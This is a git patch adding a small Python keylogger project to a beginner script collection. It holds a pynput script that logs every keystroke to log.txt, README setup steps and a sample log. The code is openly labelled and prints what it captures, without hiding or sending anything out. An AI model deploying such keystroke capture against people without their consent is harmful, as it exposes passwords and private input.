From fc84e63ba7510a84423ec26889592e5d935e6e0b Mon Sep 17 00:00:00 2001 From: Akhil Chagarlamudi <89591371+akhil-chagarlamudi@users.noreply.github.com> Date: Sat, 29 Oct 2022 02:59:24 +0530 Subject: [PATCH 1/2] Added KeyLogger Python Project Script --- OTHERS/KeyLogger/KeyloggerProject.py | 35 ++++++++++++++++++++++ OTHERS/KeyLogger/README.md | 44 ++++++++++++++++++++++++++++ OTHERS/KeyLogger/log.txt | 1 + 3 files changed, 80 insertions(+) create mode 100644 OTHERS/KeyLogger/KeyloggerProject.py create mode 100644 OTHERS/KeyLogger/README.md create mode 100644 OTHERS/KeyLogger/log.txt diff --git a/OTHERS/KeyLogger/KeyloggerProject.py b/OTHERS/KeyLogger/KeyloggerProject.py new file mode 100644 index 00000000..40a70c4f --- /dev/null +++ b/OTHERS/KeyLogger/KeyloggerProject.py @@ -0,0 +1,35 @@ +import pynput +from pynput.keyboard import Key, Listener + +keys = [] + + + +def on_press(key): + keys.append(key) + write_file(keys) + + try: + print('alphanumeric key {0} pressed'.format(key.char)) + + except AttributeError: + print('special key {0} pressed'.format(key)) + + +def write_file(keys): + with open('log.txt', 'a') as f: + for key in keys: + k = str(key).replace("'", "") + f.write(k) + + f.write(' ') + +def on_release(key): + print('{0} released'.format(key)) + if key == Key.esc: + return False + + +with Listener(on_press=on_press, + on_release=on_release) as listener: + listener.join() diff --git a/OTHERS/KeyLogger/README.md b/OTHERS/KeyLogger/README.md new file mode 100644 index 00000000..20efe54b --- /dev/null +++ b/OTHERS/KeyLogger/README.md @@ -0,0 +1,44 @@ +# To Run This KeyLogger Code Using Python + +### **You need to install 'pynput'** + +#### Steps to Install 'pynput' + + + +**First create virtual env in your IDE and set it by using given commands** + +##### macOS +``` +python3 -m venv .venv +source .venv/bin/activate +``` + + +##### Linux + +``` +sudo apt-get install python3-venv #If needed +python3 -m venv .venv +source .venv/bin/activate +``` + +##### Windows +``` +py -3 -m venv .venv +.venv\scripts\activate +``` + +use this command in your virtual env to install pynput + +``` +pip install pynput +``` + + +------- +**Now you can run this in your IDE** + +###### **Your key log will be saved in 'log.txt' file** + + diff --git a/OTHERS/KeyLogger/log.txt b/OTHERS/KeyLogger/log.txt new file mode 100644 index 00000000..aee539a4 --- /dev/null +++ b/OTHERS/KeyLogger/log.txt @@ -0,0 +1 @@ +Key.backspace Key.backspace Key.backspace Key.backspace Key.backspace s Key.backspace Key.backspace s d Key.backspace Key.backspace s d d Key.backspace Key.backspace s d d d Key.backspace Key.backspace s d d d Key.backspace Key.backspace Key.backspace s d d d Key.backspace Key.ctrl Key.backspace Key.backspace s d d d Key.backspace Key.ctrl c \ No newline at end of file From ba0229df0ee18850a4dc0914f17bb0a88022b138 Mon Sep 17 00:00:00 2001 From: Akhil Chagarlamudi <89591371+akhil-chagarlamudi@users.noreply.github.com> Date: Sat, 29 Oct 2022 03:01:55 +0530 Subject: [PATCH 2/2] Updated README.md - Added the Project details --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 6fbb3976..03f0baad 100644 --- a/README.md +++ b/README.md @@ -110,3 +110,4 @@ The contribution guidelines are as per the guide [HERE](https://github.com/larym | 62 | [Dates](https://github.com/larymak/Python-project-Scripts/tree/main/GUI/Dates) | [Eduardo C.](https://github.com/ehcelino) | 63 | [QtQuiz](https://github.com/larymak/Python-project-Scripts/tree/main/GUI/QtQuiz) | [Eduardo C.](https://github.com/ehcelino) | 64 | [Umbrella Reminder](https://github.com/larymak/Python-project-Scripts/tree/main/AUTOMATION/Umbrella%20Reminder) | [Edula Vinay Kumar Reddy](https://github.com/vinayedula) +| 65 | [KeyLogger](https://github.com/larymak/Python-project-Scripts/tree/main/OTHERS/KeyLogger) | [Akhil](https://github.com/akhil-chagarlamudi)